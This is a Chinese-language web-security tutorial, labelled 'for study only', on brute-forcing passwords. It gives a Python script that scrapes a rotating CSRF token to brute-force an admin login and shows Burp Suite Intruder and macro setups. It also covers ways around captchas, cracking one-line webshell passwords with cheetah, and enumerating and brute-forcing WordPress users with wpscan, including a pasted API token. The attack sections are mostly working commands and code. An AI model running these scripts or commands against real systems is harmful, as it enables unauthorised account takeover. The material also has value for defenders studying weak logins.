Web安全——穷举爆破上篇(仅供学习)

Web安全

  • 一、概述
  • 二、常见的服务
    • [1、burpsuite 穷举后台密码](#1、burpsuite 穷举后台密码)
    • [2、burpsuite 对 webshell 穷举破解密码](#2、burpsuite 对 webshell 穷举破解密码)
    • [3、有 token 防御的网站后台穷举破解密码](#3、有 token 防御的网站后台穷举破解密码)
      • [3.1 burpsuite 设置宏获取 token 对网站后台密码破解](#3.1 burpsuite 设置宏获取 token 对网站后台密码破解)
      • [3.2 编写脚本获取token 对网站后台密码破解](#3.2 编写脚本获取token 对网站后台密码破解)
    • 4、针对有验证码后台的穷举方法
      • [4.1 cookie 不存在不验证绕过](#4.1 cookie 不存在不验证绕过)
      • [4.2 后台登录验证码没销毁进行穷举](#4.2 后台登录验证码没销毁进行穷举)
      • [4.3 网站后台验证码识别穷举密码](#4.3 网站后台验证码识别穷举密码)
    • [5、phpmyadmin 密码穷举](#5、phpmyadmin 密码穷举)
    • 6、一句话木马后门破解
    • [7、cheetah 对一句后门密码穷举](#7、cheetah 对一句后门密码穷举)
    • [8、wordpress 博客系统用户密码穷举](#8、wordpress 博客系统用户密码穷举)

一、概述

穷举就是枚举的意思,在互联网的今天,需要使用某种的服务,大多数都需要口令登录,这个口令就是密码,密码的强度分为,弱口令 、中度口令、强度口令。如果登录的服务为弱口令,那会存在很大的安全隐患,黑客通过穷举弱口令对服务进行攻击,很容易就得到登录密码。得到密码之后就能登录服务,进行其他危害较大得操作。黑客也能通过对用户得信息整理,组合密码进行穷举攻击。例如根据用户的生日号码,出身年月日和姓名进行口令组合,再对其服务进行穷举。

二、常见的服务

服务 端口
web 80
mysql 3306
Microsoft SQL Server 1433
https 443
ftp 21
ssh 22
dns 53
tomcat 8080
redis 6379
rsync 873
PostgreSQL 5432
cobaltstrike teamserver 50050
smtp 25
pop3 110
远程终端 rdp 3389
smb 445
rpc 135
imap 143
NetBIOS 139
SMTPS 465
POP3S 995
mogodb 27018
memcached 11211
telnet 23
oracle 1521

1、burpsuite 穷举后台密码

brupsuite 是一个安全测试套件, 提供了众多的测试功能。在火狐安装插件

FoxyProxy 填写 127.0.0.1 8080 保存为 burp 开启代理。

截取包之后发送到 intruder 在密码设置变量

选择 payloads 选择要穷举的字典

设置攻击后 根据返回的状态码 status 或者 length 网页长度对其进行判断。这里得到正确得密码是 123456

根据状态码 一般测试正确的是现实 302 状态码 另外就是响应网页的长度

2、burpsuite 对 webshell 穷举破解密码

灰帽子对网站攻破后,一般会留后门方便对其网站进行非法管理。后门的程序语音包括 asp php .net 这些脚本文件放在网站目录, 一般都采用单密码进行登录。通过扫描获取 webshell 的后门的网址。得到网址后可以对其进行密码穷举。

  • 1、burpsuite 截取数据包
  • 2、发送到 intruder 模块
  • 3、选择字典

    最后得到密码是!@#sec

3、有 token 防御的网站后台穷举破解密码

有的网站后台存在 token 值,这个 token 通俗的名字叫令牌,每次刷新页面都会随机变化。提交请求时必须携带这个 token 值,可以利用这点避免后台进行直接穷举和防止 csrf 攻击。

3.1 burpsuite 设置宏获取 token 对网站后台密码破解

打开 burpsuite 刷新页面 接着 forward 放行这个数据包







来到 Project options --> Session-- >add 添加宏

选择 Run a macro

点击之后选择网页历史选择提交之后有 token 的页面。

添加宏

设置 configure item

add 添加规则

选择 value 的值 Parameter name 填写 user_token 这个值一定要相同










这样宏就设置成功了。接着穷举测试 抓包 设置变量 添加密码字典。

开始攻击 可以看到每次的 token 值都不一样

密码是 password

3.2 编写脚本获取token 对网站后台密码破解

就上面的登录页面来说。

每次访问页面这个 user_token 都会变化导致不能重复提交。

验证原理每次页面生成user_token 存在seesion 里面每次登录用session 里取出来然后验证如果验证成功 就进行密码匹配。如果验证不成功就输出 csrf 错误。

脚本源码

python 复制代码
#coding:utf-8
import requests
import re

url = "http://www.c3moon.com/login.php"

def login(password):
    session = requests.session()
    req=session.get(url)
    user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
    data={"username":"admin","password":password,"Login":"Login",'user_token':user_token}
    req=session.post(url=url,data=data,allow_redirects=True)
    html = req.text
    return html

with open('top1000.txt') as p:
    passlist =p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    print(line)
    if 'File Upload' in login(line):
        print( "[* 密码 is %s *]" % line )
        break

密码破解成功

4、针对有验证码后台的穷举方法

网站后台或者有登录的地方都可能存在验证码验证,验证码的作用 不少网站为了防止用户利用机器人自动注册、登录、灌水,都会采用验证码技术,所谓的验证码,就是将一串随机产生的数字和符号,生成一幅图片,在图像上加上干扰像素(防止 orc),要用户用肉眼识别其中的验证码信息,输入表单提交网站验证。验证后使用网站某个功能.但是如果验证码逻辑编写不好会存在被绕过的风险。

有些网站如果网站不存在 cookie 就不会验证 验证码

这里cookie即与这里相对应:

这里即可以看到发下的验证码:GUTF。

这里先对比验证码,再对比账号密码,我们这里再次发送:

这里我们回到虚拟机查看验证码:

可以看到这里验证码没有,肯定验证不成功。

这里我们将验证码删掉,可以看到依然是验证码失效的状态。

下面我们进行删除 PHPSESSION 信息 验证码就不进行验证了。

接着对密码进行穷举

破解密码成功,登录后台。

4.2 后台登录验证码没销毁进行穷举

在登录提交的时候进行验证码验证 不管密码是否正确,都要销毁验证码。不然验证码可复用确定的验证码

错误的验证码

导入字典进行提交

4.3 网站后台验证码识别穷举密码

验证码干扰像素太少很容易就会被一些工具识别出来。如图片提取文字工具。

登录框存在验证码 这个验证码可被识别的情况下 就会被穷举密码。

将 burpsuite 的包放进验证码识别工具 设置字典和验证码参数

接着选择爆破栏 选择错误的验证码关键词 设置线程 点击 start 即可 可以选择再次爆破 验证准确率会提高。

最后查看响应长度 获取正确的密码。

5、phpmyadmin 密码穷举

phpmyadmin 是 mysql 的一个 web 管理工具,可以通过这个工具穷举 mysql 用户的账号和密码。




6、一句话木马后门破解

一句话后门可以使用 burpsuite 通用穷举方法穷举密码。

抓包 将 cmd 设置成变量 添加字典即可

关键字

bash 复制代码
asp
qweasd123=execute("response.clear:response.write(""passwordright""):response.end")
php
echo "password right";
aspx qweasd123=Response.Write("moonsec"); 密码是 qweasd123

7、cheetah 对一句后门密码穷举

cheetah 是针对一句话后门的穷举工具

bash 复制代码
python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list
python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000 
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
cheetah.py -u http://www.c1moon.com/a.php -n 1000 -v -p data/pwd.list 
cheetah.py -u http://www.c1moon.com/a.asp -n 1000 -v -p data/pwd.list 
cheetah.py -u http://www.c1moon.com/a.aspx -n 1000 -v -p data/pwd.list

支持 asp php .net jsp 后门

css 复制代码
-u 后门地址
-r 提交的方法 一般是 post
-n 一次提交密码的数量
-v 详细信息
-p 字典位置例子
bash 复制代码
python cheetah.py -u http://www.c1moon.com/cmd.php -r post -n 1000 -v

8、wordpress 博客系统用户密码穷举

wordpress 是知名的博客系统,在互联网上的占有量很大,所以一定要知道这套系统的弱口令穷举的方法。
https://wpscan.com 首先到这个网站注册账号和密码注册后获取 token

自动找账号信息 然后登录穷举

bash 复制代码
wpscan --url http://www.redteam.com/ -e u -P /home/kali/top100password.txt --api-token QYbHH6fbNDIi6Op3MQuvg85fD4fhNiB4RKJsVOMVp6w

手动收集 wordpress 用户信息 访问连接获取用户信息
http://www.vtmoon1.com/wp-json/wp/v2/users

获取信息可以再进行指定用户爆破

bash 复制代码
wpscan --url http://www.vtmoon1.com -U moonsec -P /home/kali/top1000.txt
相关推荐
小嘟嚷ovo5 分钟前
h5,原生html,echarts关系网实现
前端·html·echarts
在肯德基吃麻辣烫11 分钟前
Netdata在Ubuntu环境下的安装与配置:构建实时系统监控与性能分析平台
linux·运维·ubuntu
十一吖i36 分钟前
Vue3项目使用ElDrawer后select方法不生效
前端
只可远观36 分钟前
Flutter目录结构介绍、入口、Widget、Center组件、Text组件、MaterialApp组件、Scaffold组件
前端·flutter
周胡杰38 分钟前
组件导航 (HMRouter)+flutter项目搭建-混合开发+分栏效果
前端·flutter·华为·harmonyos·鸿蒙·鸿蒙系统
国际云,接待40 分钟前
云服务器的运用自如
服务器·架构·云计算·腾讯云·量子计算
不念霉运40 分钟前
Gitee DevOps:中国企业数字化转型的“本土化加速器“
运维·gitee·团队开发·代码规范·devops·代码复审
敲代码的小吉米1 小时前
前端上传el-upload、原生input本地文件pdf格式(纯前端预览本地文件不走后端接口)
前端·javascript·pdf·状态模式
是千千千熠啊1 小时前
vue使用Fabric和pdfjs完成合同签章及批注
前端·vue.js
安迪小宝1 小时前
6 任务路由与负载均衡
运维·python·celery